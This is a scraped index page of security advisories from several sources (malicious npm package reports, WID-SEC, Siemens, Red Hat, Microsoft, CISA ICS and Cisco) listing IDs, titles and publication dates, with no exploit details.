mal-2024-11181 Malicious code in synch-prod-ai (npm) 2024-12-02T05:33:28Z 2024-12-02T05:33:28Z
mal-2024-11163 Malicious code in @hmp/h-shelves (npm) 2024-12-02T02:31:10Z 2024-12-02T03:20:58Z
mal-2024-11022 Malicious code in @hmp/casepaper (npm) 2024-11-27T03:20:58Z 2024-12-02T03:20:58Z
mal-2024-11162 Malicious code in @hmp/h-image-uploader (npm) 2024-12-02T02:27:07Z 2024-12-02T02:27:07Z
mal-2024-11180 Malicious code in tauri-plugin-autostart-api (npm) 2024-12-01T19:53:52Z 2024-12-01T19:53:52Z
mal-2024-11179 Malicious code in tailchat-service-swagger-generator (npm) 2024-12-01T19:22:57Z 2024-12-01T19:22:57Z
mal-2024-11178 Malicious code in tailchat-service-openapi-generator (npm) 2024-12-01T18:53:45Z 2024-12-01T18:53:45Z
mal-2024-11177 Malicious code in spinal-service-ticket (npm) 2024-12-01T18:38:34Z 2024-12-01T18:38:34Z
Vulnerabilities are sorted by update time (recent to old).
ID Description Published Updated
wid-sec-w-2025-1423 libssh: Mehrere Schwachstellen 2025-06-29T22:00:00.000+00:00 2025-08-31T22:00:00.000+00:00
wid-sec-w-2025-1417 Linux Kernel: Mehrere Schwachstellen 2025-06-29T22:00:00.000+00:00 2025-08-31T22:00:00.000+00:00
wid-sec-w-2025-1385 libssh: Schwachstelle ermöglicht Offenlegung von Informationen 2025-06-24T22:00:00.000+00:00 2025-08-31T22:00:00.000+00:00
wid-sec-w-2025-1350 Linux Kernel: Mehrere Schwachstellen ermöglichen Denial of Service 2025-06-17T22:00:00.000+00:00 2025-08-31T22:00:00.000+00:00
wid-sec-w-2025-1335 Apache Tomcat: Mehrere Schwachstellen 2025-06-16T22:00:00.000+00:00 2025-08-31T22:00:00.000+00:00
wid-sec-w-2025-1325 libxml2: Schwachstelle ermöglicht Denial of Service 2025-06-15T22:00:00.000+00:00 2025-08-31T22:00:00.000+00:00
wid-sec-w-2025-1312 libxml2: Mehrere Schwachstellen ermöglichen Denial of Service 2025-06-11T22:00:00.000+00:00 2025-08-31T22:00:00.000+00:00
wid-sec-w-2025-1266 libarchive: Mehrere Schwachstellen ermöglichen Denial of Service 2025-06-09T22:00:00.000+00:00 2025-08-31T22:00:00.000+00:00
wid-sec-w-2025-1204 systemd-coredump: Schwachstelle ermöglicht Offenlegung von Informationen 2025-06-01T22:00:00.000+00:00 2025-08-31T22:00:00.000+00:00
wid-sec-w-2025-1140 Red Hat Enterprise Linux (libsoup): Mehrere Schwachstellen 2025-05-25T22:00:00.000+00:00 2025-08-31T22:00:00.000+00:00
wid-sec-w-2025-1114 Linux Kernel: Mehrere Schwachstellen 2025-05-20T22:00:00.000+00:00 2025-08-31T22:00:00.000+00:00
wid-sec-w-2025-0991 Linux Kernel: Mehrere Schwachstellen 2025-05-08T22:00:00.000+00:00 2025-08-31T22:00:00.000+00:00
wid-sec-w-2025-0932 Linux Kernel: Mehrere Schwachstellen 2025-05-04T22:00:00.000+00:00 2025-08-31T22:00:00.000+00:00
wid-sec-w-2025-0922 Linux Kernel: Mehrere Schwachstellen 2025-05-01T22:00:00.000+00:00 2025-08-31T22:00:00.000+00:00
wid-sec-w-2025-0915 Debian Linux (libuv und Node.js): Schwachstelle ermöglicht nicht spezifizierten Angriff 2025-05-01T22:00:00.000+00:00 2025-08-31T22:00:00.000+00:00
wid-sec-w-2025-0704 xz: Schwachstelle ermöglicht Denial of Service 2025-04-03T22:00:00.000+00:00 2025-08-31T22:00:00.000+00:00
wid-sec-w-2025-0679 Golang Go: Schwachstelle ermöglicht Umgehen von Sicherheitsvorkehrungen 2025-04-01T22:00:00.000+00:00 2025-08-31T22:00:00.000+00:00
wid-sec-w-2025-0649 Linux Kernel: Mehrere Schwachstellen 2025-03-27T23:00:00.000+00:00 2025-08-31T22:00:00.000+00:00
wid-sec-w-2025-0499 Linux Kernel: Mehrere Schwachstellen 2025-03-06T23:00:00.000+00:00 2025-08-31T22:00:00.000+00:00
wid-sec-w-2025-0411 Linux Kernel: Mehrere Schwachstellen 2025-02-18T23:00:00.000+00:00 2025-08-31T22:00:00.000+00:00
wid-sec-w-2025-0188 Linux Kernel: Schwachstelle ermöglicht Denial of Service 2025-01-23T23:00:00.000+00:00 2025-08-31T22:00:00.000+00:00
wid-sec-w-2024-3762 Linux Kernel: Mehrere Schwachstellen ermöglichen Denial of Service 2024-12-29T23:00:00.000+00:00 2025-08-31T22:00:00.000+00:00
wid-sec-w-2024-3692 Apple macOS: Mehrere Schwachstellen 2024-12-11T23:00:00.000+00:00 2025-08-31T22:00:00.000+00:00
wid-sec-w-2024-3608 Linux Kernel: Mehrere Schwachstellen ermöglichen Denial of Service 2024-12-04T23:00:00.000+00:00 2025-08-31T22:00:00.000+00:00
wid-sec-w-2024-3291 Apple macOS: Mehrere Schwachstellen 2024-10-28T23:00:00.000+00:00 2025-08-31T22:00:00.000+00:00
wid-sec-w-2024-2057 Linux Kernel: Mehrere Schwachstellen ermöglichen Denial of Service oder unspezifischer Angriff 2024-09-04T22:00:00.000+00:00 2025-08-31T22:00:00.000+00:00
wid-sec-w-2024-1548 Node.js: Mehrere Schwachstellen 2024-07-08T22:00:00.000+00:00 2025-08-31T22:00:00.000+00:00
wid-sec-w-2024-1259 Linux Kernel: Mehrere Schwachstellen ermöglichen Denial of Service und unspezifischen Angriff 2024-05-30T22:00:00.000+00:00 2025-08-31T22:00:00.000+00:00
wid-sec-w-2024-0776 Node.js: Mehrere Schwachstellen 2024-04-03T22:00:00.000+00:00 2025-08-31T22:00:00.000+00:00
wid-sec-w-2024-0393 Node.js: Mehrere Schwachstellen 2024-02-14T23:00:00.000+00:00 2025-08-31T22:00:00.000+00:00
Vulnerabilities are sorted by update time (recent to old).
ID Description Published Updated
ssa-460466 SSA-460466: Denial of Service Vulnerability in TIA Project-Server and TIA Portal 2025-07-08T00:00:00Z 2025-08-12T00:00:00Z
ssa-446307 SSA-446307: Authentication Bypass Vulnerability in BMC (CVE-2024-54085) affects SIMATIC IPC RS-828A 2025-05-13T00:00:00Z 2025-08-12T00:00:00Z
ssa-400089 SSA-400089: Denial of Service Vulnerability in SIPROTEC 4 and SIPROTEC 4 Compact 2025-08-12T00:00:00Z 2025-08-12T00:00:00Z
ssa-398330 SSA-398330: Vulnerabilities in the additional GNU/Linux subsystem of the SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP >= V3.1.0 and < V3.1.5 2023-12-12T00:00:00Z 2025-08-12T00:00:00Z
ssa-392859 SSA-392859: Local Arbitrary Code Execution Vulnerability in Siemens Engineering Platforms before V20 2024-12-10T00:00:00Z 2025-08-12T00:00:00Z
ssa-382999 SSA-382999: Multiple Vulnerabilities in Opcenter Quality Before V2506 2025-08-12T00:00:00Z 2025-08-12T00:00:00Z
ssa-355557 SSA-355557: Multiple Vulnerabilities in Third-Party Components in SINEC OS before V3.2 2025-08-12T00:00:00Z 2025-08-12T00:00:00Z
ssa-353002 SSA-353002: Multiple Vulnerabilities in SCALANCE XB-200 / XC-200 / XP-200 / XF-200BA / XR-300WG Family 2024-03-12T00:00:00Z 2025-08-12T00:00:00Z
ssa-331739 SSA-331739: Privilege Escalation Vulnerability in WIBU CodeMeter Runtime Affecting Siemens Products 2025-08-12T00:00:00Z 2025-08-12T00:00:00Z
ssa-282044 SSA-282044: DLL Hijacking Vulnerability in Siemens Web Installer used by the Online Software Delivery 2025-08-12T00:00:00Z 2025-08-12T00:00:00Z
ssa-265688 SSA-265688: Vulnerabilities in the additional GNU/Linux subsystem of the SIMATIC S7-1500 TM MFP V1.1 2024-04-09T00:00:00Z 2025-08-12T00:00:00Z
ssa-256353 SSA-256353: Third-Party Component Vulnerabilities in RUGGEDCOM ROS 2022-03-08T00:00:00Z 2025-08-12T00:00:00Z
ssa-186293 SSA-186293: XML External Entity (XXE) Injection Vulnerability in SIMOTION SCOUT, SIMOTION SCOUT TIA and SINAMICS STARTER 2025-08-12T00:00:00Z 2025-08-12T00:00:00Z
ssa-177847 SSA-177847: Improper VNC Password Check Vulnerability in SINUMERIK Controllers 2025-08-12T00:00:00Z 2025-08-12T00:00:00Z
ssa-170375 SSA-170375: Multiple Vulnerabilities in RUGGEDCOM ROS Before V5.9 2024-07-09T00:00:00Z 2025-08-12T00:00:00Z
ssa-097435 SSA-097435: Usernames Disclosure Vulnerability in Mendix Runtime 2024-09-10T00:00:00Z 2025-08-12T00:00:00Z
ssa-094954 SSA-094954: Authentication Bypass Vulnerability in BIST mode of RUGGEDCOM ROX II 2025-08-12T00:00:00Z 2025-08-12T00:00:00Z
ssa-082556 SSA-082556: Vulnerabilities in the additional GNU/Linux subsystem of the SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP V3.1.5 2025-06-10T00:00:00Z 2025-08-12T00:00:00Z
ssa-725549 SSA-725549: Denial of Service of ICMP in Industrial Devices 2025-04-08T00:00:00Z 2025-07-21T00:00:00Z
ssa-183963 SSA-183963: Certificate Validation Vulnerabilities in SICAM TOOLBOX II Before V07.11 2025-07-08T00:00:00Z 2025-07-18T00:00:00Z
ssa-938066 SSA-938066: Remote Code Execution Vulnerability in SENTRON Powermanager and Desigo CC 2025-07-08T00:00:00Z 2025-07-08T00:00:00Z
ssa-904646 SSA-904646: Sensitive Data Exposure Vulnerability in SIPROTEC 5 Devices 2025-07-08T00:00:00Z 2025-07-08T00:00:00Z
ssa-876787 SSA-876787: Open Redirect Vulnerability in SIMATIC S7-1500 and S7-1200 CPUs 2024-10-08T00:00:00Z 2025-07-08T00:00:00Z
ssa-763427 SSA-763427: Authentication Bypass Vulnerability in SIMATIC CP and TIM Devices 2015-11-27T00:00:00Z 2025-07-08T00:00:00Z
ssa-723487 SSA-723487: RADIUS Protocol Susceptible to Forgery Attacks (CVE-2024-3596) - Impact to SCALANCE, RUGGEDCOM and Related Products 2024-07-09T00:00:00Z 2025-07-08T00:00:00Z
ssa-698820 SSA-698820: Multiple Vulnerabilities in Fortigate NGFW Before V7.4.4 on RUGGEDCOM APE1808 Devices 2024-07-09T00:00:00Z 2025-07-08T00:00:00Z
ssa-634640 SSA-634640: Weak Authentication Vulnerability in Siemens Industrial Edge Devices 2025-04-08T00:00:00Z 2025-07-08T00:00:00Z
ssa-627195 SSA-627195: Zip Path Traversal Vulnerability in Mendix Studio Pro's Module Installation Process 2025-06-12T00:00:00Z 2025-07-08T00:00:00Z
ssa-626991 SSA-626991: Denial of Service Vulnerability in SIMATIC CN 4100 before V4.0 2025-07-08T00:00:00Z 2025-07-08T00:00:00Z
ssa-614723 SSA-614723: Denial of Service Vulnerabilities in User Management Component (UMC) 2025-05-13T00:00:00Z 2025-07-08T00:00:00Z
Vulnerabilities are sorted by update time (recent to old).
ID Description Published Updated
rhsa-2023:3354 Red Hat Security Advisory: Red Hat JBoss Core Services Apache HTTP Server 2.4.51 SP2 security update 2023-06-05T12:30:30+00:00 2025-09-02T01:01:23+00:00
rhsa-2021:5106 Red Hat Security Advisory: OpenShift Container Platform 4.6.z security update 2021-12-16T06:12:27+00:00 2025-09-02T01:01:23+00:00
rhsa-2024:2093 Red Hat Security Advisory: security update Logging for Red Hat OpenShift - 5.7.13 2024-05-01T07:47:45+00:00 2025-09-02T01:01:22+00:00
rhsa-2021:5140 Red Hat Security Advisory: Red Hat JBoss Enterprise Application Platform 7.4 security update 2021-12-15T02:59:53+00:00 2025-09-02T01:01:18+00:00
rhsa-2021:5093 Red Hat Security Advisory: Red Hat build of Eclipse Vert.x 4.1.5 SP1 security update 2021-12-14T16:00:56+00:00 2025-09-02T01:01:16+00:00
rhsa-2025:1746 Red Hat Security Advisory: Red Hat JBoss Enterprise Application Platform 7.1.9 on RHEL 7 security update 2025-02-24T00:08:27+00:00 2025-09-02T01:01:13+00:00
rhsa-2024:2101 Red Hat Security Advisory: Red Hat Satellite Client bug fix and security update 2024-04-29T23:01:35+00:00 2025-09-02T01:01:11+00:00
rhsa-2021:5137 Red Hat Security Advisory: Openshift Logging Security Release (5.0.10) 2021-12-14T21:36:36+00:00 2025-09-02T01:01:11+00:00
rhsa-2023:3355 Red Hat Security Advisory: Red Hat JBoss Core Services Apache HTTP Server 2.4.51 SP2 security update 2023-06-05T11:46:47+00:00 2025-09-02T01:01:10+00:00
rhsa-2021:5127 Red Hat Security Advisory: Openshift Logging security and bug update (5.2.4) 2021-12-14T18:38:45+00:00 2025-09-02T01:01:08+00:00
rhsa-2024:2694 Red Hat Security Advisory: Red Hat JBoss Core Services Apache HTTP Server 2.4.57 SP4 security update 2024-05-07T15:44:38+00:00 2025-09-02T01:01:07+00:00
rhsa-2021:5133 Red Hat Security Advisory: Red Hat AMQ Streams 1.6.5 release and security update 2021-12-14T21:13:26+00:00 2025-09-02T01:01:03+00:00
rhsa-2025:1747 Red Hat Security Advisory: Red Hat JBoss Enterprise Application Platform 7.3.12 security update 2025-02-24T00:08:38+00:00 2025-09-02T01:01:01+00:00
rhsa-2021:5126 Red Hat Security Advisory: Red Hat Integration Camel Extensions for Quarkus GA security update 2021-12-14T16:19:04+00:00 2025-09-02T01:01:01+00:00
rhsa-2024:1601 Red Hat Security Advisory: curl security and bug fix update 2024-04-02T16:02:18+00:00 2025-09-02T01:00:58+00:00
rhsa-2021:5138 Red Hat Security Advisory: Red Hat AMQ Streams 1.8.4 release and security update 2021-12-14T21:49:01+00:00 2025-09-02T01:00:56+00:00
rhsa-2024:2693 Red Hat Security Advisory: Red Hat JBoss Core Services Apache HTTP Server 2.4.57 SP4 security update 2024-05-07T15:50:35+00:00 2025-09-02T01:00:54+00:00
rhsa-2023:3161 Red Hat Security Advisory: Red Hat OpenStack Platform 13.0 security update 2023-05-17T01:57:13+00:00 2025-09-02T01:00:54+00:00
rhsa-2021:5130 Red Hat Security Advisory: Red Hat Integration Camel-K 1.6.2 release and security update 2021-12-14T17:55:09+00:00 2025-09-02T01:00:54+00:00
rhsa-2022:0296 Red Hat Security Advisory: Red Hat Process Automation Manager 7.12.0 security update 2022-01-26T15:52:53+00:00 2025-09-02T01:00:49+00:00
rhsa-2021:5132 Red Hat Security Advisory: Red Hat Data Grid 8.2.2 security update 2021-12-14T20:03:50+00:00 2025-09-02T01:00:49+00:00
rhsa-2023:7625 Red Hat Security Advisory: Red Hat JBoss Core Services Apache HTTP Server 2.4.57 SP2 security update 2023-12-07T13:53:38+00:00 2025-09-02T01:00:48+00:00
rhsa-2021:5129 Red Hat Security Advisory: Openshift Logging security and bug update (5.3.1) 2021-12-14T19:37:00+00:00 2025-09-02T01:00:47+00:00
rhsa-2022:8840 Red Hat Security Advisory: Red Hat JBoss Core Services Apache HTTP Server 2.4.51 SP1 security update 2022-12-08T13:08:14+00:00 2025-09-02T01:00:44+00:00
rhsa-2023:3156 Red Hat Security Advisory: Red Hat OpenStack Platform 16.1 security update 2023-05-17T01:02:32+00:00 2025-09-02T01:00:41+00:00
rhsa-2021:5108 Red Hat Security Advisory: OpenShift Container Platform 4.8.z security update 2021-12-14T15:09:31+00:00 2025-09-02T01:00:39+00:00
rhsa-2023:7626 Red Hat Security Advisory: Red Hat JBoss Core Services Apache HTTP Server 2.4.57 SP2 security update 2023-12-07T13:55:16+00:00 2025-09-02T01:00:38+00:00
rhsa-2021:5134 Red Hat Security Advisory: Red Hat Fuse 7.10.0 release and security update 2021-12-14T21:31:33+00:00 2025-09-02T01:00:38+00:00
rhsa-2021:4511 Red Hat Security Advisory: curl security and bug fix update 2021-11-09T18:26:01+00:00 2025-09-02T01:00:36+00:00
rhsa-2022:8841 Red Hat Security Advisory: Red Hat JBoss Core Services Apache HTTP Server 2.4.51 SP1 security update 2022-12-08T13:21:17+00:00 2025-09-02T01:00:34+00:00
Vulnerabilities are sorted by update time (recent to old).
ID Description Published Updated
msrc_cve-2025-53736 Microsoft Word Information Disclosure Vulnerability 2025-08-12T07:00:00.000Z 2025-08-12T07:00:00.000Z
msrc_cve-2025-53735 Microsoft Excel Remote Code Execution Vulnerability 2025-08-12T07:00:00.000Z 2025-08-12T07:00:00.000Z
msrc_cve-2025-53734 Microsoft Office Visio Remote Code Execution Vulnerability 2025-08-12T07:00:00.000Z 2025-08-12T07:00:00.000Z
msrc_cve-2025-53733 Microsoft Word Remote Code Execution Vulnerability 2025-08-12T07:00:00.000Z 2025-08-12T07:00:00.000Z
msrc_cve-2025-53732 Microsoft Office Remote Code Execution Vulnerability 2025-08-12T07:00:00.000Z 2025-08-12T07:00:00.000Z
msrc_cve-2025-53731 Microsoft Office Remote Code Execution Vulnerability 2025-08-12T07:00:00.000Z 2025-08-12T07:00:00.000Z
msrc_cve-2025-53730 Microsoft Office Visio Remote Code Execution Vulnerability 2025-08-12T07:00:00.000Z 2025-08-12T07:00:00.000Z
msrc_cve-2025-53729 Microsoft Azure File Sync Elevation of Privilege Vulnerability 2025-08-12T07:00:00.000Z 2025-08-12T07:00:00.000Z
msrc_cve-2025-53728 Microsoft Dynamics 365 (On-Premises) Information Disclosure Vulnerability 2025-08-12T07:00:00.000Z 2025-08-12T07:00:00.000Z
msrc_cve-2025-53727 Microsoft SQL Server Elevation of Privilege Vulnerability 2025-08-12T07:00:00.000Z 2025-08-12T07:00:00.000Z
msrc_cve-2025-53726 Windows Push Notifications Apps Elevation of Privilege Vulnerability 2025-08-12T07:00:00.000Z 2025-08-12T07:00:00.000Z
msrc_cve-2025-53725 Windows Push Notifications Apps Elevation of Privilege Vulnerability 2025-08-12T07:00:00.000Z 2025-08-12T07:00:00.000Z
msrc_cve-2025-53724 Windows Push Notifications Apps Elevation of Privilege Vulnerability 2025-08-12T07:00:00.000Z 2025-08-12T07:00:00.000Z
msrc_cve-2025-53723 Windows Hyper-V Elevation of Privilege Vulnerability 2025-08-12T07:00:00.000Z 2025-08-12T07:00:00.000Z
msrc_cve-2025-53722 Windows Remote Desktop Services Denial of Service Vulnerability 2025-08-12T07:00:00.000Z 2025-08-12T07:00:00.000Z
msrc_cve-2025-53721 Windows Connected Devices Platform Service Elevation of Privilege Vulnerability 2025-08-12T07:00:00.000Z 2025-08-12T07:00:00.000Z
msrc_cve-2025-53720 Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability 2025-08-12T07:00:00.000Z 2025-08-12T07:00:00.000Z
msrc_cve-2025-53719 Windows Routing and Remote Access Service (RRAS) Information Disclosure Vulnerability 2025-08-12T07:00:00.000Z 2025-08-12T07:00:00.000Z
msrc_cve-2025-53718 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability 2025-08-12T07:00:00.000Z 2025-08-12T07:00:00.000Z
msrc_cve-2025-53716 Local Security Authority Subsystem Service (LSASS) Denial of Service Vulnerability 2025-08-12T07:00:00.000Z 2025-08-12T07:00:00.000Z
msrc_cve-2025-53156 Windows Storage Port Driver Information Disclosure Vulnerability 2025-08-12T07:00:00.000Z 2025-08-12T07:00:00.000Z
msrc_cve-2025-53155 Windows Hyper-V Elevation of Privilege Vulnerability 2025-08-12T07:00:00.000Z 2025-08-12T07:00:00.000Z
msrc_cve-2025-53154 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability 2025-08-12T07:00:00.000Z 2025-08-12T07:00:00.000Z
msrc_cve-2025-53153 Windows Routing and Remote Access Service (RRAS) Information Disclosure Vulnerability 2025-08-12T07:00:00.000Z 2025-08-12T07:00:00.000Z
msrc_cve-2025-53152 Desktop Windows Manager Remote Code Execution Vulnerability 2025-08-12T07:00:00.000Z 2025-08-12T07:00:00.000Z
msrc_cve-2025-53151 Windows Kernel Elevation of Privilege Vulnerability 2025-08-12T07:00:00.000Z 2025-08-12T07:00:00.000Z
msrc_cve-2025-53149 Kernel Streaming WOW Thunk Service Driver Elevation of Privilege Vulnerability 2025-08-12T07:00:00.000Z 2025-08-12T07:00:00.000Z
msrc_cve-2025-53148 Windows Routing and Remote Access Service (RRAS) Information Disclosure Vulnerability 2025-08-12T07:00:00.000Z 2025-08-12T07:00:00.000Z
msrc_cve-2025-53147 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability 2025-08-12T07:00:00.000Z 2025-08-12T07:00:00.000Z
msrc_cve-2025-53145 Microsoft Message Queuing (MSMQ) Remote Code Execution Vulnerability 2025-08-12T07:00:00.000Z 2025-08-12T07:00:00.000Z
Vulnerabilities are sorted by update time (recent to old).
ID Description Published Updated
icsa-24-338-06 Fuji Electric Tellus Lite V-Simulator (Update A) 2024-12-03T07:00:00.000000Z 2025-07-29T06:00:00.000000Z
icsa-24-158-04 Johnson Controls Software House iStar Door Controller (Update A) 2024-06-06T06:00:00.000000Z 2025-07-29T06:00:00.000000Z
icsa-25-205-04 LG Innotek Camera Model LNV5110R 2025-07-25T05:00:00.000000Z 2025-07-25T05:00:00.000000Z
icsma-25-205-01 Medtronic MyCareLink Patient Monitor 2025-07-24T06:00:00.000000Z 2025-07-24T06:00:00.000000Z
icsa-25-205-03 Honeywell Experion PKS 2025-07-24T06:00:00.000000Z 2025-07-24T06:00:00.000000Z
icsa-25-205-02 Network Thermostat X-Series WiFi Thermostats 2025-07-24T06:00:00.000000Z 2025-07-24T06:00:00.000000Z
icsa-25-205-01 Mitsubishi Electric CNC Series 2025-07-24T06:00:00.000000Z 2025-07-24T06:00:00.000000Z
icsa-22-202-04 ICONICS Suite and Mitsubishi Electric MC Works64 Products (Update A) 2022-07-26T06:00:00.000000Z 2025-07-24T06:00:00.000000Z
icsa-25-203-04 Schneider Electric EcoStruxure Power Operation 2025-07-22T06:00:00.000000Z 2025-07-22T06:00:00.000000Z
icsa-25-203-02 Lantronix Provisioning Manager 2025-07-22T06:00:00.000000Z 2025-07-22T06:00:00.000000Z
icsa-25-203-01 DuraComm DP-10iN-100-MU 2025-07-22T06:00:00.000000Z 2025-07-22T06:00:00.000000Z
icsa-24-151-02 Fuji Electric Monitouch V-SFT (Update A) 2024-05-30T06:00:00.000000Z 2025-07-18T06:00:00.000000Z
icsma-25-198-01 Panoramic Corporation Digital Imaging Software 2025-07-17T06:00:00.000000Z 2025-07-17T06:00:00.000000Z
icsa-25-198-01 Leviton AcquiSuite and Energy Monitoring Hub 2025-07-17T06:00:00.000000Z 2025-07-17T06:00:00.000000Z
icsa-24-191-05 Johnson Controls Inc. Software House C●CURE 9000 (Update B) 2024-07-09T06:00:00.000000Z 2025-07-17T06:00:00.000000Z
icsa-25-196-03 LITEON IC48A and IC80A EV Chargers 2025-07-15T06:00:00.000000Z 2025-07-15T06:00:00.000000Z
icsa-25-196-02 ABB RMC-100 2025-07-15T06:00:00.000000Z 2025-07-15T06:00:00.000000Z
icsa-25-037-02 Schneider Electric EcoStruxure (Update B) 2025-02-06T07:00:00.000000Z 2025-07-15T06:00:00.000000Z
icsa-25-191-09 KUNBUS RevPi Webstatus 2025-07-10T06:00:00.000000Z 2025-07-10T06:00:00.000000Z
icsa-25-191-08 Advantech iView 2025-07-10T06:00:00.000000Z 2025-07-10T06:00:00.000000Z
icsa-25-191-07 Delta Electronics DTM Soft 2025-07-10T06:00:00.000000Z 2025-07-10T06:00:00.000000Z
icsa-25-135-19 ECOVACS DEEBOT Vacuum and Base Station (Update A) 2025-05-15T06:00:00.000000Z 2025-07-10T06:00:00.000000Z
icsa-25-121-01 KUNBUS GmbH Revolution Pi (Update A) 2025-05-01T06:00:00.000000Z 2025-07-10T06:00:00.000000Z
icsa-24-263-02 IDEC Products (Update A) 2024-09-19T06:00:00.000000Z 2025-07-10T06:00:00.000000Z
icsa-25-105-03 Siemens SIMOCODE, SIMATIC, SIPLUS, SIDOOR, SIWAREX 2025-04-08T00:00:00.000000Z 2025-07-10T00:00:00.000000Z
icsa-25-189-01 Emerson ValveLink Products 2025-07-08T06:00:00.000000Z 2025-07-08T06:00:00.000000Z
icsa-25-184-04 Mitsubishi Electric MELSEC iQ-F Series 2025-07-03T06:00:00.000000Z 2025-07-03T06:00:00.000000Z
icsa-25-184-03 Mitsubishi Electric MELSOFT Update Manager 2025-07-03T06:00:00.000000Z 2025-07-03T06:00:00.000000Z
icsa-25-184-02 Hitachi Energy MicroSCADA X SYS600 2025-07-03T06:00:00.000000Z 2025-07-03T06:00:00.000000Z
icsa-25-182-05 Voltronic Power and PowerShield UPS monitoring software 2025-07-01T06:00:00.000000Z 2025-07-01T06:00:00.000000Z
Vulnerabilities are sorted by update time (recent to old).
ID Description Published Updated
cisco-sa-asaftd-cmdinj-vehfezq3 Cisco Secure Firewall Adaptive Security Appliance and Secure Firewall Threat Defense Software Authenticated Command Injection Vulnerabilities 2025-08-14T16:00:00+00:00 2025-08-14T16:00:00+00:00
cisco-sa-asa-ftd-ios-dos-doeshwhy Cisco IOS, IOS XE, Secure Firewall Adaptive Security Appliance, and Secure Firewall Threat Defense Software IKEv2 Denial of Service Vulnerabilities 2025-08-14T16:00:00+00:00 2025-08-14T16:00:00+00:00
cisco-sa-asa-ftd-acl-bypass-mtpze9yh Cisco Secure Firewall Adaptive Security Appliance and Secure Firewall Threat Defense Software Access Control Rules Bypass Vulnerability 2025-08-14T16:00:00+00:00 2025-08-14T16:00:00+00:00
cisco-sa-asa-buffer-overflow-pyruhwbc Cisco Secure Firewall Adaptive Security Appliance and Secure Firewall Threat Defense Software Web Services Denial of Service Vulnerability 2025-08-14T16:00:00+00:00 2025-08-14T16:00:00+00:00
cisco-sa-3100_4200_tlsdos-2ynscd54 Cisco Secure Firewall Adaptive Security Appliance and Secure Firewall Threat Defense Software for Firepower 3100 and 4200 Series TLS 1.3 Cipher Denial of Service Vulnerability 2025-08-14T16:00:00+00:00 2025-08-14T16:00:00+00:00
cisco-sa-webex-join-ynxfqhk4 Cisco Webex Meeting Client Join Certificate Validation Vulnerability 2025-08-06T16:00:00+00:00 2025-08-06T16:00:00+00:00
cisco-sa-ise_xss_acc_cont-ysr4ut4u Cisco Identity Services Engine Stored Cross-Site Scripting Vulnerabilities 2025-08-06T16:00:00+00:00 2025-08-06T16:00:00+00:00
cisco-sa-20170629-snmp SNMP Remote Code Execution Vulnerabilities in Cisco IOS and IOS XE Software 2017-06-29T16:00:00+00:00 2025-07-30T16:27:06+00:00
cisco-sa-ise-unauth-rce-zad2gnj6 Cisco Identity Services Engine Unauthenticated Remote Code Execution Vulnerabilities 2025-06-25T16:00:00+00:00 2025-07-24T23:30:31+00:00
cisco-sa-piepnm-bsi-25jjqsbb Cisco Prime Infrastructure and Evolved Programmable Network Manager Blind SQL Injection Vulnerability 2025-07-16T16:00:00+00:00 2025-07-16T16:00:00+00:00
cisco-sa-ise-multi-3vpsxoxo Cisco Identity Services Engine Authenticated Remote Code Execution and Authorization Bypass Vulnerabilities 2025-07-16T16:00:00+00:00 2025-07-16T16:00:00+00:00
cisco-sa-cuis-ssrf-jsudjev Cisco Unified Intelligence Center Server-Side Request Forgery Vulnerability 2025-07-16T16:00:00+00:00 2025-07-16T16:00:00+00:00
cisco-sa-cuis-file-upload-uhnetstm Cisco Unified Intelligence Center Arbitrary File Upload Vulnerability 2025-07-16T16:00:00+00:00 2025-07-16T16:00:00+00:00
cisco-sa-spaces-conn-privesc-kgd2ccdu Cisco Spaces Connector Privilege Escalation Vulnerability 2025-07-02T16:00:00+00:00 2025-07-02T16:00:00+00:00
cisco-sa-ece-xss-cbtkteyc Cisco Enterprise Chat and Email Stored Cross-Site Scripting Vulnerability 2025-07-02T16:00:00+00:00 2025-07-02T16:00:00+00:00
cisco-sa-cucm-ssh-m4ubdpe7 Cisco Unified Communications Manager Static SSH Credentials Vulnerability 2025-07-02T16:00:00+00:00 2025-07-02T16:00:00+00:00
cisco-sa-broadworks-xss-o696ymra Cisco BroadWorks Application Delivery Platform Cross-Site Scripting Vulnerability 2025-07-02T16:00:00+00:00 2025-07-02T16:00:00+00:00
cisco-sa-ise-stored-xss-yff54m73 Cisco Identity Services Stored Cross-Site Scripting Vulnerability 2025-05-21T16:00:00+00:00 2025-06-30T15:08:59+00:00
cisco-sa-ise-auth-bypass-mvfkvqau Cisco Identity Services Engine Authorization Bypass Vulnerability 2025-06-25T16:00:00+00:00 2025-06-25T16:00:00+00:00
cisco-sa-ise-file-upload-p4m8vwxy Cisco Identity Services Engine Arbitrary File Upload Vulnerability 2025-06-04T16:00:00+00:00 2025-06-23T19:16:21+00:00
cisco-sa-meraki-mx-vpn-dos-sm5gcfm7 Cisco Meraki MX and Z Series AnyConnect VPN with Client Certificate Authentication Denial of Service Vulnerability 2025-06-18T16:00:00+00:00 2025-06-18T16:00:00+00:00
cisco-sa-clamav-udf-hmwd9ndy ClamAV UDF File Parsing Out-of-Bounds Read Information Disclosure Vulnerability 2025-06-18T16:00:00+00:00 2025-06-18T16:00:00+00:00
cisco-sa-erlang-otp-ssh-xyzzy Multiple Cisco Products Unauthenticated Remote Code Execution in Erlang/OTP SSH Server: April 2025 2025-04-22T21:45:00+00:00 2025-06-11T14:40:37+00:00
cisco-sa-wlc-file-uplpd-rhzg9ufc Cisco IOS XE Wireless Controller Software Arbitrary File Upload Vulnerability 2025-05-07T16:00:00+00:00 2025-06-06T20:02:48+00:00
cisco-sa-ise-aws-static-cred-fpmjucm7 Cisco Identity Services Engine on Cloud Platforms Static Credential Vulnerability 2025-06-04T16:00:00+00:00 2025-06-05T17:26:25+00:00
cisco-sa-vos-command-inject-65s2ucyy Cisco Unified Communications Products Command Injection Vulnerability 2025-06-04T16:00:00+00:00 2025-06-04T16:00:00+00:00
cisco-sa-ucs-ssh-priv-esc-2mzdtdjm Cisco Integrated Management Controller Privilege Escalation Vulnerability 2025-06-04T16:00:00+00:00 2025-06-04T16:00:00+00:00
cisco-sa-uccx-multi-uhotvpgl Cisco Unified Contact Center Express Vulnerabilities 2025-06-04T16:00:00+00:00 2025-06-04T16:00:00+00:00
